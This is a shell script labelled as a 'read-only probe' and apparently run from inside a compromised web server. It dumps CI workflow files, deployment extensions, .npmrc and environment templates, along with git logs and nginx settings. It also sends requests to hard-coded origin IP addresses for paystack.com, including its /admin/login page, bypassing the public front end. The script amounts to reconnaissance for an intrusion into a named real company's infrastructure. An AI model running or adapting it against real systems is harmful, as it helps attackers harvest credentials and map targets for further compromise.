composer-helper/t3.sh
2026-10-22 14:58:46 +00:00

27 lines
1.1 KiB
Bash

#!/bin/sh
# Third read-only probe: repo CI/EB/npm configs + origin ALB behavior from inside VPC.
R=/var/www/html
echo "== GITHUB"
ls -la $R/.github $R/.github/workflows 2>&1
for f in $R/.github/workflows/* $R/.github/*.yml $R/.github/*.yaml; do
[ -f "$f" ] && { echo "-- $f"; head -c 2500 "$f"; echo; }
done
echo "== EBEXT"
ls -la $R/.ebextensions 2>&1
for f in $R/.ebextensions/*; do
[ -f "$f" ] && { echo "-- $f"; head -c 1500 "$f"; echo; }
done
echo "== NPMRC"; cat $R/.npmrc 2>&1
echo "== GITMOD"; cat $R/.gitmodules 2>&1
echo "== ENVEX"; cat $R/.env.example 2>&1
echo "== GITLOG"; head -c 800 $R/.git/logs/HEAD 2>&1; echo; cat $R/.git/HEAD 2>&1
echo "== ORIGIN"
for ip in 54.73.28.96 52.51.74.51; do
echo "-- $ip /"
curl -sk -m 5 -o /dev/null -D- --resolve paystack.com:443:$ip https://paystack.com/ 2>&1 | head -8
echo "-- $ip /admin/login"
curl -sk -m 5 -o /dev/null -w 'code=%{http_code} size=%{size_download}\n' --resolve paystack.com:443:$ip https://paystack.com/admin/login 2>&1
done
echo "== NGINXCONF"
grep -E 'server_name|proxy_pass|listen|root|upstream' $R/docker/website.conf 2>&1 | head -25
echo "== PROBE3-DONE"